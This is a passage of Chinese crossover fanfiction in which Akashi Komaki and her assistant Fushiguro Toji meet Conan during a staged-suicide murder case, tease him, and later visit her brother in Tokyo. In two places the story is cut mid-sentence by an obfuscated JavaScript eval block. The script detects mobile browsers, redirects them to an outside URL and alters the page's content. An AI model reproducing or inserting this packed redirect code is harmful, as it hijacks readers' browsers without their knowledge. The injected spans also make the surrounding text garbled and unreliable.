“好吧,我们就是看一眼发生了什么事,现在知道了原来是有人自鲨,不是什么大问题,吓到你们真是抱歉,我关门啰。祝有一个愉快的夜晚。”注意到侦探小助手眼神看去的方向是伏黑甚尔的手,回想到他的双手确实有很明显的常年持武器生的茧,再加上今天中午这小孩利落的把案子破了,而名侦探则是真的在沉睡。 以前报道上出现的沉睡小五郎案件,是谁破的不言自明。 哇,助理才上岗一天,可不能这么快就被警察抓走。两相比较,热心市民赤司小莳决定放弃这次有趣的集会。 “姐姐,我叫江户川柯南是个侦探,我想去你和哥哥家参观一下!”说着呲溜一下钻进门缝,还不忘叮嘱小学侦探社里一眼看去最靠谱但是不知道为什么被封印的小硕士,“灰原,在警察来之前你先看着他们。” 然后他就被被伏黑甚尔单手薅起来,询问小莳:“自说自话的小鬼,感觉好讨厌。扔出去吗?” “啊啊啊姐姐就让我参观一下嘛,我还没有住过公寓,想看想看!”被揪住后领也要坚强环顾公寓,看了一圈,“姐姐你和哥哥是最近才搬进来住吗?姐姐不是东京人吧,难道是最近要开学才过来的?” 果然是脑子好使的家伙。这种时候如果回答引起怀疑会有点不妙,直接转移话题吧。 进攻就是最好的防守。小莳开口就误打误撞触碰了王炸。 “……你看起来不像小学生,反而有点像那个高中生名侦探,叫什么来着,工藤新一吧。” 她假装才发现面前的小男孩是个聪明boy,重点在于第一句不像小学生。后面的工藤新一是因为实在不知道东京还有什么名侦探。不说毛利小五郎是因为这位柯南和小莳自己都知道他是真水,提起来反而削弱攻击性。 “!!!”江户川柯南一愣,随即惊恐又诧异地看向小莳,“没,没有……” 以为得到了预期效果,她示意伏黑放下柯南,“好啦小弟弟,参观到此为止,欢迎下辈子再来。”说着左手拇指食指做成手枪的样子,在他太阳穴位置一戳,“砰。” 然后开门,蹲下,将破案时有如神助但是此刻被一个枪的手势就吓到呆若木鸡的男孩推出家门。 “嘭。”是关门的声音。 “助理先生,其实米花町案发率还挺高的。” “不用说我也发现了。” “这个小孩大概是个厉害的侦探。虽然我们在这里都没有违法犯罪,但被盯上的话会有点麻烦诶。”小莳认真的提醒。 伏黑甚尔不觉得六七岁的小孩能有多夸张,也不认为自己暂时会被盯上。说到厉害的小鬼,他只能想到幼年时自己去看热闹但一瞬就被发现的那位。这个江户川柯南,他完全没放在眼里。倒是身边的大小姐,因为见识不够,总是忧心忡忡。 而且这个【都没有】的说法就:“你以前会违法犯罪?” 没见过世面杞人忧天的小莳:“对啊,天天。没有和你说吗?我以前是暗鲨部队的,业务能力贼强。” “……”完全看不出来。 “你这是什么表情!有点冒犯了啊喂。” “只是在想什么样的组织会让你干这行。”目标不会都是像今天这样的小学生吧。 “以前是以前,现在是一个除了钱和亲情以外一无所有的普通女高。但你可不要小瞧我,不是我说,像你这样的我一口气能”打十个,但是现在只有三七开了,伏黑三拳她头七,还是留点余地,“算了,好汉不提当年勇。” 伏黑甚尔没什么所谓:“哦。” “反正那个时候身边都是精神疾病患者,我废了好大劲才茁壮成长。所以见到伏黑君你觉得格外靠谱。当然不是说不喜欢他们,对于伙伴的想念还是很多,虽然精神不正常但也都是很友好的人呢!” “……” “相信我,就算是我在暗鲨部队里的时候遇到你,我也会努力让你做我我们的助理的,不图别的,就是觉得稳稳的很安心,而且我会保护好你不受怪人们欺负的!” 此刻小莳脑袋想的是因为午饭不对而掀翻屋顶引发的父母家庭伦理大战、meme青蛙头和真王子上演飞刀表演、Xanxus铁血单推人每天都要去打卡然后被揍等一系列鸡飞狗跳。以及……伏黑甚尔的身手不错,至少比城堡里的厨子好,如果他被从窗户里丢下去,肯定相对更安全。 伏黑甚尔想的是自己和一群小学生在一起,其中包括江户川柯南,然后赤司小莳指着身高不到他大腿的江户川柯南自信承诺:“这个小孩很危险,但我会保护你。” 就挺搞笑。 他说:“我点了猪软骨和鹅肝海胆,要不要来一点?” 在凶案一门之隔的地方问这些,他还真是习以为常,巧了,小莳也是:“那我就小尝一口吧。” 然而在警方来到后,小莳和伏黑还是卷入了这场刑事案件。 因为晚上点了外卖,而外卖员和被害人在电梯里还打了个照面,所以被仔细的询问了。 “赤司小姐,可否让孩子们到家里客厅暂坐片刻?”这层楼共有三户,门牌号01的第一户人家还没住人,中间门牌02的樱井女士既是前女友,又是第一发现人,门口被案发现场堵住,少年侦探团其中一位小姑娘惊恐发作,熟悉他们的的高木涉于是向小莳提出请求。 惊恐发作,说的应该是小硕士,可这姑娘进来以后不会更害怕吗? “好吧。请进。”小莳恶趣味发作,想调戏一下柯南,“柯南君还想到处参观参观吗?” “……啊哈哈哈,不用了,谢谢姐姐。”压下心中对于赤司小姐身份和立场的惊疑不定,江户川柯南将注意力集中在灰原身上,没想到高木警官直接把人送到恐慌源头这来了,糟糕。得做点什么。 小莳也没多在意他,她请高木警官将脸色苍白动弹不得的小女孩放在沙发上平躺,“灰原小姐需要一点温水吗?” “……”平躺,露出全身所有的弱点,灰原哀这会正惊惶不安,乍听见这声音,身体止不住颤抖。 这幅样子小莳再熟悉不过,相当一部分Mafia临终前就是这状态,其中有一些大概也想走的看起来英勇些,只是身体反应总更诚实的展现出来。 所以小硕士身上也是谜团重重。 骤然凑近到她耳边,低语:“你很害怕我吗?” 下一秒,所有人的注意力都被今晚第二声尖叫吸引。 “你和她说了什么!”江户川柯南奔到沙发面前言辞激烈。 “我就问一下她是不是害怕我,毕竟一开始看到尸体的时候,灰原小姐表现得十分冷静,好像是看到我和甚尔君以后才开始身体不适。”小莳实话实说,越讲越理直气壮,“我一生行善积德,头一次有这种事发生,问问怎么了!” 然后警方对于她和伏黑甚尔询问更详细了。 “那么赤司小姐和家人走失的十年里在做什么呢?”高木警官排除完嫌疑后,和小莳闲聊起来。 “那当然是无可奉告啦!”她开口就结束了话题。无关话题,无关人员,她才不搭理。 “……” 那边伏黑甚尔的问话进展顺利,直到“呐呐,大哥哥以前是做雇佣兵的吧。”一句话直接引起在场警察的注意。 来东京的第一天,笃定自己不会被盯上的伏黑甚尔喜提嫌疑人身份。 数字3这个时尚单品在案件嫌疑人数量上也发挥巨大作用,一层楼五个人,除去死者,就只有赤司小莳顺利排除作案可能。 剩下两位嫌疑人分别是前女友樱井女士及其同居现男友内田先生。 小莳眼睁睁见着江户川柯南用拙劣的引导和浮夸的语调把两位警官引到楼上一层同样没住人的01号公寓的阳台。 墙壁上有白色的痕迹。 心下了然,每层楼的楼梯间和电梯区都设置了监控,犯人不可能离开三间公寓共同区域的狭窄走道。而死者霸占了进门的去处,犯人很显然不是伏黑甚尔(小莳视角),那么他想要回房就必须只能走阳台,0102同层的阳台相隔甚远,从同层回去几乎不可能做到,反倒是0203的阳台距离不过2米,尚有一跳的可能。于是犯人就顺着绳索爬到上一层楼的01号,然后跳回去。 看见痕迹就想通了这一切的小莳:……那么多种类,偏偏选中了最影响房价的手法。盲猜犯人不是房本持有人。 “原来如此!能做到这样又兼具动机的,就只有身为健身教练的内田先生你了。”高木警官顺着江户川柯南的提示,顺利推导其中关窍。 紧接着是喜闻乐见的狼人被票前负隅顽抗疯狂脏人的破防环节,骂了一通警察以后,内田反手指伏黑:“他也能做到!” 小莳哼哼一声,推开挡在身前的伏黑甚尔,好重,多推两下,(伏黑识相主动让开)站到01阳台外墙边,竖起三根手指:“倒不如说,只要具备以下三个条件。” 指指身上的浴袍:“舒适宽松的衣服。” 指指脚上居家凉拖鞋:“便于运动的鞋。” 双手捂左胸:“还有一颗勇敢的心。” 最后总结:“谁都可以跳到下层楼旁边的阳台。” 同时在所有人反应外,小莳迅速跃到阳台围栏上,维持着双手环抱的姿势向后倒去,脸上挂着兴致浓浓的笑。 “喂!!” 轻巧而精准地落在属于邻居的阳台围栏上,少女抬头用手臂给楼上的诸位看客们热情比了个心。 “赤司小姐,你在做什么!!!这可不是玩闹!”目暮警官大声呵斥。 “诸君请安心,刚刚我有九成的把握能成功。”自信比数字。 这并没有让大家冷静下来,目暮警官吹胡子瞪眼:“这可是13层高楼,开什么玩笑!!” “我只是觉得内田先生所言甚是,这种简单的逃脱把戏任谁都能做到,仅论手法可不能提供能够一招致胜的证据。” “从刚刚往下看你们的阳台我就觉得奇怪,前几天东京大雨,出门打伞回家在阳台晾干完全合理。只不过为什么阳台上只有一把撑开的女士伞?” “现在我明白了,原来是因为两把伞都晾干了,而其中一把出于使用者的小心思,被收好折叠了起来。” 小莳解开自己的干发帽,就着干发帽拿起阳台水池下的一把深蓝色雨伞。不顾内田先生的制止,按下开伞按钮。 “我家可找不到这么大一个破了一个窟窿的雨伞。这就是你逃过鲁米诺反应用的办法吧?溅出来的血全被伞挡住了,手上没有鲁米诺反应。” 撑着伞,小莳转了一圈,一张沾着红色液体的手帕顺着伞杆飘到她的肩头。 坏了,又要洗澡了。 众人的视线中,容貌姣好的白发少女瞬间扔开明明是重要证物的雨伞,抖落身上另一件证物,任由其落到地上,开始说话:“我早该想到的。” “内田先生,你果然就是那种顾前不顾后的不靠谱男人。相信不了你一点。” “让你洗碗你必不会洗锅,让你擦桌子你必不会擦灶台,收伞只收自己的一把,刀人还要影响房价,带血的抹布你都往伞里塞,就不能考虑一下以后会打开这把伞的人的身心健康吗?!” 所以重点竟然是最后一句吗? 在场除伏黑甚尔以外的男人纷纷表示,他们都有被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小莳见他嘴巴无声开合,像一条刚捕捞上岸的鱼,玩心不改,对变声器说话:“怎么,汗流浃背了,小子!” 伏黑甚尔在厨房洗碗,五感极佳的他对客厅的一切听得清楚:“……” 先前给他找麻烦的小子被雇主几句话整得丢盔弃甲,甚好。 只是听见变声器的声音后还是没忍住探头看热闹。音色和中午听到的毛利小五郎本人声音完全一致,仅听声音连他也分辨不出差别。 “芜湖,伏黑先生要来玩吗,话说看柯南君的反应是不是像正义的伙伴把我们当成违法犯罪组织的爪牙了?” 开局就想潜入住房,面对小硕士的紧张反应格外在意,然后是警察面前出言给伏黑甚尔增加嫌疑……如此种种事实串联在小莳脑海中,最终被她鉴定为拙劣的试探。 伏黑甚尔将小鬼越来越惊愕的表情尽收眼底,再看一眼赤司小莳,女孩笑得愈发灿烂。 呵,狗屁边界感。 “真是敏锐的直觉呢,可惜,你逃不掉了。”玩腻了领结,随手往茶几上一丢,拍拍手坐下,小莳右手一揽就把江户川柯南禁锢在怀里,“组织里的小老鼠对我说,两个应死之人竟然还活在世上。起初我不信,没想到初来乍到东京,竟得来全不费工夫!只可惜泄密的小老鼠尸体早就不知道在哪个下水道里腐烂了。” 小莳笑得像个活泼开朗的小女孩,“什么嘛,早知道就不下手那么快了。” “不过这也是没有办法的事情,毕竟我们的宗旨是——”激动地语调逐渐高昂,戛然而止。小莳左手手掌展向伏黑甚尔,“伏黑君,请讲。” 一般来说伏黑甚尔是不愿意玩过家家游戏的,不过赤司小莳的表演欲望强烈,语调又比较富有感染力,更重要的是这小鬼害得他被盘问了好一会,离开时还给警方留了联系方式,说是后续有事联系,实际上也只有他一人被特殊关照了。有机会显然应该小出一口气。 伏黑甚尔不介意参与一下,笑容牵动嘴角的伤疤,露出白森森的牙齿,说到:“杂鱼的死活,无关紧要。” 他这样子还挺能唬人。 “bingo!” 听在江户川柯南耳朵里就是混沌邪恶二重奏。 “登登,柯南君请看。”赤司小莳不知从哪里变出一颗方形药丸,“我用良心起誓,你不会感到痛苦的。” 轻松捏开徒劳挣扎着的小孩的嘴,推进去,熟练地一拍下巴强迫他合上嘴。 “呃……嗯?” “怎么样,话梅糖好吃咩?”这药,包甜。松手放开柯南,小莳一蹦一跳到伏黑甚尔面前想和他击掌,被无视了。 “大姐姐你……” “我和伏黑君两个良民能有什么坏心思!”其中她本人还算是参与过拯救世界呢。 “……”完全不信,但是如果她是组织的人,现在嘴里的绝不应该是话梅糖,而是aptx之类的药品。 “我是赤司小莳,普通卷入案件的清纯女高,今天中午正好看见你用麻醉枪,晚上案件现场又见面,忍不住就开个玩笑而已。比起我这点无伤大雅的插曲,沉睡的小五郎每上一次新闻都要被你扎一次明显问题更严重吧,没有人为大侦探发声吗?” “你还诬陷我的同伴,在那种场合下大咧咧的喊哥~哥~以~前~是~雇~佣~兵~吧,这不是在给他泼脏水吗?”小莳双手叉腰,一一指出柯南的罪证,“还有你的小朋友,灰原小姐,表现得像是被我们狠狠欺负了一样。我好心让她进来休息,居然蒙受这样的不白之冤,正好她走了,你留下来,顺便背负也是理所当然吧!” “那你说的组织是?”江户川柯南发现她不像在说谎,但仍然半信半疑。 “随口掰扯的,你看,比如暗夜男爵小说世界观里不就有个无恶不作和男爵打擂台的假面基金会吗,我当时没想好邪恶团伙的名字,直接用组织代替,谁知道这你也上当。江户川小朋友,我看你挺聪明的,没想到脑子也会短路,顺口就往下编了。” 他有些不服气:“呵呵,那种老鼠下水道的比喻也是随口想的吗?” “我爱看黑手党电影,意大利人就爱这样,电视上学来的。biubiu,biubiubiu,处决你,小子!” 小莳又摆出打枪的手势,对柯南脑袋连开五枪。这次他完全没有感受到之前的压迫感,只觉得面前的人幼稚。 话说电视上学的……这不是自己总用来敷衍叔叔他们的借口嘛! 心里有鬼的江户川柯南一时不知道该如何反应。 “那伏黑大哥哥呢,他是谁?” “我早就想说了,伏黑先生这个年龄这个长相,你叫他哥哥的时候我心里一个咯噔,是怎么想的呢?听不了你张口就喊哥哥,这称呼太重,你承担不了在这称呼后面的一切,你得尊称他一声叔叔,好吗?”好的。小莳帮他回答。 江户川柯南:…… 伏黑甚尔:…… “他是我的助理,和我一起从京都来的,是我信任的人,以前没有以后也不会做违法的事情。”以前绝对有,而且如果以后做了的话那也和她没关系,她就这么信誓旦旦一说。 不管最后柯南有没有相信,话算是说开了。 还有个小插曲,毛利小五郎来接柯南的时候,看见小莳就直了眼睛,说什么也要握手感谢收留了柯南的好心人。他夸小莳人美心善,小莳对他摇头说哪里哪里。 以后再也没有人为他过度麻醉发声了。 “甚尔君,这人好怪,你去握手。”躲在健硕的男人后面,小莳戳戳他后背小声指使他:“用点劲,有没有搞错我还是高中生呢。” 伏黑甚尔友好和他握手,然后送走了手掌发麻的名侦探和三步一回头的小鬼。 4. 第 4 章 伏黑甚尔转身看沙发上已经恢复活力的大小姐“你似乎在比较需要帮忙的时候会叫名字?” “对啊,伏黑君不习惯吗?我也可以一直叫伏黑君。”小莳表示,她超随和。 “没有,伏黑是我入赘的姓氏。现在也不用了。”伏黑甚尔感到一阵烦躁,他本没必要开口说这些,甚至也不需要指出赤司小莳的习惯。 “哦哦哦,那甚尔君一开始的姓氏是什么呢?” “禅院。” “那我称呼你为禅院?话说这姓氏一听就是老御三家了,这是可以说的吗?而且是很封建的那种!” “……不了,我不喜欢那个姓氏,直接叫名字就好。”伏黑甚尔把理由归结为,不喜欢禅院和入赘伏黑结束,坦然开口。 小莳并不非常在意称呼,直接答应了:“好啊甚尔君,所以我猜得对吗甚尔君!” “关于禅院啊,全对。” “这下谁还分得清我和超直感,骄傲捏。我绝对是块名侦探的料子!” “哦。”伏黑甚尔不想理她。 “那剩下两家分别叫什么呢,让我来猜一猜他们是怎么个事!”小莳兴奋搓手手。 “……五条和加茂。” 小莳斟酌着开口:“怎么说呢,很古朴,给我一种大家都很烂的感觉。” “回房了。” “?甚尔?” 不知道为什么助理有小情绪了,聊天结束。 几天后,是小莳前往帝丹高中的第一天,坐的是无证驾驶的车。虽然上学步行路程只有15分钟,但这辆车有点好看,新车到家总得开开。 到了学校,被分配到2年b班,老师很温柔,同学们很热情。 认识了同为有钱人的铃木园子,铃木园子又介绍了她的好朋友毛利兰“就是大名鼎鼎的毛利小五郎的女儿哦,兰的母亲妃英理是有名的律师,胜诉率高达100%,绰号‘法律界的不败女王’,我家还有个远房亲戚找英里阿姨打过名誉权的官司。” “没有的事情。园子,不要说得这么夸张。”有着长而飘逸头发的清秀女高面色微红,“赤司同学你好,请多多指教。” 是可爱的清纯女高,好耶! “之前见过毛利侦探一面,那天我们公寓邻居发生了一些情感纠纷……”简述了来龙去脉。 铃木园子灵魂三连: “真假!你有个以前做过雇佣兵的助理?!” “好酷,好帅气!” “他好看吗?身高多少?有照片吗?” “以前是以前,现在是现在——洗衣做饭收拾家里无所不能的全能家政官!挺好看的,身高180吧,照片没有,我问问。” KOMAKI(活泼可爱版):toji,看见速回。 TOJI:怎么了? KOMAKI(活泼可爱版):woo,秒回! TOJI:…… KOMAKI(活泼可爱版):toji在做什么,方便发消息吗? TOJI:在东京竞马场,没什么不方便的。 KOMAKI(活泼可爱版):祝你旗开得胜(*/ω\*),想要一张toji的照片,可以咩 那边没回消息。 KOMAKI(活泼可爱版):太久没见,学习压力太大,睹物思人一下。 TOJI:…… TOJI:【图片】【图片】 KOMAKI(活泼可爱版):好好好,还能再和课业搏斗半天。今晚我和同学吃饭,甚尔君如果想多玩一会可以不着急回,在外吃饭8000以下都报销。 “公主请看图。”小莳展示助理照片。 照片背景是开阔的马场,伏黑甚尔穿着他一身经典的黑色T恤,面无表情直视镜头。 确实是一张很容易就能做情夫的俊脸,小莳客观评价。 铃木园子眼冒桃心:“居然这么帅气!不,已经不仅仅是帅气了,这种程度的男人我愿意第一次见面就和他交往。” “这就不至于了。”小莳摇摇头,和专业人士有什么好交往的,付费恋爱吗?不过我也觉得甚尔君是那种看一眼会忍不住看第二眼的男性。” “小莳酱竟然意外的是比较保守的类型吗?”铃木园子双手合十笑嘻嘻,“拜托了图片请发我一份。兰你要不要,给你也发一份!” “诶诶诶,我就不用了。”毛利兰红着脸拒绝。 保守的小莳:“不算吧,只是我的刻板印象里,不少东亚男是那种【不管自己有多烂,不管伴侣多么优秀,只要在关系中,男方永远可以对女方指手画脚】的类型。再美貌的男人想做我的主人,我也必定是不允许的。所以不要随意把关系混淆起来好,助理就是助理。”指望甚尔好好干活呢。 “……吓,突然说出了很有哲理的话!确实,男人里面烂人格外多,所以拜托了我的真命天子快快出现吧!只要一个就够了!” “有志向。”小莳很捧场,为铃木园子鼓掌。 看来她有点渴望一段爱情。 随手触碰了一下屏幕,居然还有第二张照片。 小莳盯着看了一会,点了保存。然后将刚才展示的第一张照片line给园子。 退出聊天框,找到伏黑甚尔。 KOMAKI(活泼可爱版):这张好看,toji很会拍,像在看远方的风景然后不经意微笑(≧ω≦)/ KOKAMI(活泼可爱版):很有故事感,主角也很帅气。 KOKAMI(活泼可爱版):一不注意就多看了一会 TOJI:嗯 TOJI:晚上几点回公寓? TOJI:提前准备浴缸 KOMAKI(活泼可爱版):太敬业了 KOMAKI(活泼可爱版):不过我大概会很早回去,普通的淋浴就行 TOJI:几点? KOMAKI(活泼可爱版):其实打算放课后就回家。 KOMAKI(活泼可爱版):不过头一次见你出去娱乐,想着多给你一些活动时间 KOMAKI(活泼可爱版):如果我在外面玩到一半哥哥喊我回家,绝对会叛逆 这次伏黑甚尔迅速的回了消息。 TOJI:不用,我去接你放学。 KOMAKI(活泼可爱版):会堵车,感觉不如走路快 KOMAKI(活泼可爱版):在家等我吧 TOJI:嗯。 * 上学行为还没有坚持一个月,小莳就因为感冒病倒了。 其实没有。 她指示助理帮她翘课:“甚尔帮我请假。39℃,拜托。记得声音比平时更低沉一点,先请两天,然后正好就是周末了。”四天假,可以出去旅游。 “你是我的……算了,就说监护人吧。去繁就简。”小莳面色红润,觉得自己真是个小天才:“你也不是专业的配音演员,一会家庭医生一会律师恐怕太为难你了。监护人就不一样了,可能是亲属,也可能是代为照顾,给老师留一点想象的余地,让她随时随地自己骗自己。” “你还真爱偷懒。我记得你和两个同学关系不错,不和她们说一声吗?”伏黑甚尔接过手机,想起这段时间总被提及的女高二人,顺便出言询问。 “不说了,我边界感批发大户。友情也需要耐心维护,怕她们知道我吃得太好上课掉小珍珠。” “……随你。” 小莳放下自己扎好的头发,转头问助理:“过会我打算去东大,和哥哥说过了,你想过去接受一下学校文化的熏陶吗?” “真遗憾,不感兴趣。” “那太可惜了。今天篮球部的大家都在捏,我有点想把你介绍给哲也。就是我那个远房表兄,我们发色瞳色差不多,不过他头发更蓝一点,我眼睛更蓝一点。” 伏黑甚尔有些不自在,撇开视线:“我没什么好介绍的。” “确实,我也不太了解你。”小莳闻言老实的点点头。 现在他不想理她。 “但怎么说呢,你很让我放心,和你在一起也挺开心。就像看了一本书的开头,感觉不错,将它买下;回家阅读了书的第一章节,有一点惊艳,那么第二天就会向很亲密的好友推荐,因为那些我没有读完全书,其中浅尝辄止就觉得迷人和值得反复记诵的词句,并不会因为还有其他等待我探知的后续而失色分毫。哲也是我很喜欢的人,除了哥哥以外最亲近的就是他,他还没有见过你呢,所以想介绍。” “……” “会不会有点词不达意?你就当我随便说说,别太在意。” 主动结束了对话,小莳回房躺在床上思绪飘远,明天去哪里玩好呢~ 一小时后,整装待发。 “准备好了吗?走吧。”伏黑甚尔见小莳从房间里出来,便起身拿车钥匙。 “不必了,我打车去。甚尔君在家做好准备。” “不是说要把我介绍给谁的。” 他一问,她惊讶。 “‘我没什么好介绍的’,我怎么记得有人这么说过。天哪,甚尔是那种别人夸夸就会很开心的耳根子软的类型吗?意料之外捏。” “……” 在他恼羞成怒前,小莳连忙自己给自己接话:“可惜我已经给甚尔安排好接下来几个小时的日程了。” “现在才上午10点,出去玩何必等到明天才出发!等我从征十郎学校回来我们就离开东京。我已经想好旅游地点,预约酒店、收拾行李、还有下午开车就拜托甚尔了!收完东西记得给我发一下照片,让我看看还有无遗漏。哦对,我喜欢每天都能选衣服的感觉,所以帮我多带几套衣服——除了那件,黄色招虫子,不行。” “酒店地点和联系电话到时候发你哦,bye。”小莳一股脑布置完这些后,头也不回的润了。 在出租车上给伏黑甚尔发了消息。 KOMAKI(活泼可爱版):【定位】【图片】【图片】【图片】 KOMAKI(活泼可爱版):有森饭店,距离不算远,旁边的高原区很漂亮,还有珍稀的蝴蝶。明年那边就要开发了,现在开发商正在和居民掰扯,趁现在赶紧过去。 KOMAKI(活泼可爱版):房间定三天,两个豪华套间(*/ω\*) KOMAKI(活泼可爱版):toji不会因为今天没带你出来就在沙发上又哭又闹掉小珍珠吧o(?^`)o KOMAKI(活泼可爱版):下次一定带你 没回消息,多半是不想。 相处的一个多月,小莳对伏黑甚尔大概也有些了解,五感敏锐得吓人,体术不输恭弥的样子,力气也超大,以前搞不好真是个没感情的杀手。人不是很活泼开朗,文化程度不高,说是一天学没上过也不奇怪,性格偶尔拧巴。 搞不好还是回避型人格。 重点是伏黑甚尔用智能手机的状态根本就像个老年人,他甚至不会设置静音,取消震动,只能把音量调到最小这样 所以就像猫的耳朵有30多条肌肉,可以180度转动,但总是听不见人在叫它一样……说没听到就是没听到。 猫好,人坏。 小莳进了东大。 哥哥,见了;和知名模特黄濑凉太照片,拍了;和哲也相聚M记两人三杯奶昔,喝了;关于“一杯嫌少两杯嫌多,紫原君你不懂这个人生哲理所以和哲也关系才不能更上一层楼”的奶昔理论,讲了,绿间的今日星座建议,听了;火神青峰aho修罗场,看了,只是没想到矛盾升级。 桃井劝青峰,哲也拉火神,小莳想给自己也增加一点参与感,就也去劝和。 “很高兴你们也喜欢哲也并有自己的见解,Let’s握手言和。” 最后当然是没有握手言和成功的,各打五十大板之余,获得哲也大部分关照的火神大我还是险胜前夫哥。 前夫哥是听了征十郎讲述的往事后小莳临场起的外号,她个人认为相当贴切。“毕竟我是哲也娘家人嘛,总是以哲也的意志为主,火神君很明显是股价涨停的一支。” 赤司征十郎:“……你倒是能说。来东京过得怎么样?” “如鱼得水,前两天在回家路上还碰到一起凶鲨案呢。不出意外又是伪装成自鲨跳楼的。不愧是我,法眼洞见!当然,这就像是爱马仕一款包只生产了300只,但是仅仅在东京就有超过5000个人背着它——我是说,整个东京的自鲨率就摆在那边,然而想要浑水摸鱼的笨蛋罪犯们就喜欢掩耳盗铃,逆天而行。”午间的阳光下,少女头顶细碎的头发仿若透明,折射出一种近似金色的光晕,而她神采飞扬,在和旁边的少年有说有笑。 赤司征十郎:“你是不是和伏黑甚尔学坏了。” “哥哥,你超爱我。”小莳笑嘻嘻贴近。 “?”赤司蓦的脸红。 “像那种一看到孩子学习成绩下降,就怀疑是差生把自家孩子带坏了,立刻要找老师换座位‘老师您好,以后这种活动我们家小莳就不参加了’的家长。”恶趣味的贴着征十郎耳朵调戏,“你宁愿相信是甚尔君把我带坏了,都不信我10岁就成了Mafia家族的得力干将,太感动了,我真的哭死。” “甚尔君?”在这个称呼出现时,一切其他本来可以成为重点的内容都隐去了,赤司征十郎露出危险的神情,“我怎么不知道,小莳和助理关系有这么好了?” * 回去的出租车上多了一个人。 赤司征十郎脑子里回荡着那句,“多得是您不知道的事嘞。” 头疼,原先的幼妹放学回家就往卧室走,不喜社交也不主动与人沟通,说话只是偶尔不着边际。现在有了这位看起来就危险的助理,反而朝奇怪的方向活泼开朗起来了。 果然,还是需要被更精准的【观测】 “无论几次〈天帝之眼〉都让我觉得格外神奇。”小莳慨叹,“明明是没有神佛的世界,却会出现蕴含天道力量的法眼。而且瞳孔变色什么的也有点玄幻耶,今天征十郎也要看我吗?” 天帝之眼,本来是赤司征十郎运用在篮球上的独特技能,可以预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413072|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测对手的动向,之后其一切行动都会被侦破。高二后,他开发出在日常世界也能使用的方法。 赤司征十郎一向稳妥,对任何事都慎终如始:“如果小莳不介意的话。” 天帝,诸天万界的帝王。征十郎又是目力极好的人,小莳想到了目视千里的鹰隼,古埃及的神明:天空、太阳,还有……荷鲁斯,简直像是漫画作者参考了荷鲁斯之眼然后想出来的厉害设定嘛。 她什么时候能拿回属于自己的一切? 感觉短期之内很悬,诸行无常,这富贵日子先凑合过。 小时掏出手机:“我和甚尔说一下哈,让他有点心理准备。” “这么关心他?” 她回以狡黠一笑,想是想起什么有趣的事情,“没有,之前的灵光一现。甚尔有点像流浪猫!给我的感觉类似于:常年混迹破旧小巷,不讲究地翻垃圾桶找吃的,看到家庭妇女会去蹭蹭腿找人帮自己免费梳毛顺便讨点干净的吃食,会在路边晒太阳睡大觉的黑猫。但是黑猫是敏锐的生物,表面懒洋洋的实际上内心戒备很重,看到不友好的流氓会呲溜一下跑远。而这样的猫在今天就要遇到目光锐利长翼击空的鹰隼了!” “如果不提前说的话,我怕他呲溜一下跳窗逃走。” “哥哥你可是有在球场上把人吓哭的前科的。” 赤司征十郎或是被这段说辞取悦了,不再言语,默许了她的行为。 小莳是十分随性的人,可她无比相信直觉,思维中名为直觉的引线一旦被点燃,她就绝不会放任不管,作壁上观。 有一瞬间她觉得伏黑甚尔大概会像猫一样应激。啊,类似几个星期前的小硕士。 虽然不知道为什么,但是感觉来了,就遵从并且应对。首先是让人回她消息。 小莳决定放低姿态。 KOMAKI(活泼可爱版):尊敬的伏黑甚尔先生,小女子有事和您报备。 KOMAKI(活泼可爱版):求你了,理我 KOMAKI(活泼可爱版):十万火急,速回 这下倒是回的很迅速 TOJI:怎么了 TOJI:行李收好了。【图片】【图片】【图片】 KOMAKI(活泼可爱版):虽然现在不是说这个的时候,但是toji刚果然在耍小脾气吧,要不怎么现在才回! KOMAKI(活泼可爱版):还没出名的侦探小莳有注意到行李箱背景在客厅,背包背景是在衣帽间,一眼就看出来是早就拍好放置在相册了!就是不肯回消息! KOMAKI(活泼可爱版):刚有感而发了一下,不用回了。 KOMAKI(活泼可爱版):我是说不用回有感而发的内容 KOMAKI(活泼可爱版):toji对佛教五眼有听说吗? 五眼,分别为肉眼、天眼、慧眼、法眼、佛眼。在日常的交往中,伏黑甚尔表现出一些类似文盲的性状,然而对于佛学相关的词汇倒是很熟悉,联想到他原先的姓氏禅院,直译就是寺庙的意思。这倒也不怪,可能家里有耳濡目染的环境。因此小莳为了简化沟通,选择了用更容易被他理解的佛教词汇来介绍天帝之眼,古埃及的动物神渊源还是和佛教相去甚远。 KOMAKI(活泼可爱版):呐,我和toji说过这是一个唯物主义世界吧,当时说的不够准确。 KOMAKI(活泼可爱版):应该说,据我所知,这个世界并不存在可以改变物质的神怪之事。但偶尔也会出现一些超乎常理的情况,比如有人运动运动着就开发了超能力。 TOJI:知道。 TOJI:你在哪,遇到危险了? KOMAKI(活泼可爱版):在回家的出租车上,暂时没有危险 KOMAKI(活泼可爱版):突然讨论这些实在有些匆忙,见谅。 KOMAKI(活泼可爱版):我要做出一个违背边界感的决定! KOMAKI(活泼可爱版):toji之前在的世界里应该是有超自然生物和超能力之类的情况的吧。别问,问就是还没出名的侦探推理出来的。 KOMAKI(活泼可爱版):比如可以召唤战宠作战,可以用超能力强化身体,操使五行之力供自己驱使之类的。 KOMAKI(活泼可爱版):那有没有目力特化的技能,比如一眼就看见能量,过去未来,知一切众生各各方便门,令得道证这种类型的? TOJI:是,有那么一个。 TOJI:怎么了 KOMAKI(活泼可爱版):好!! 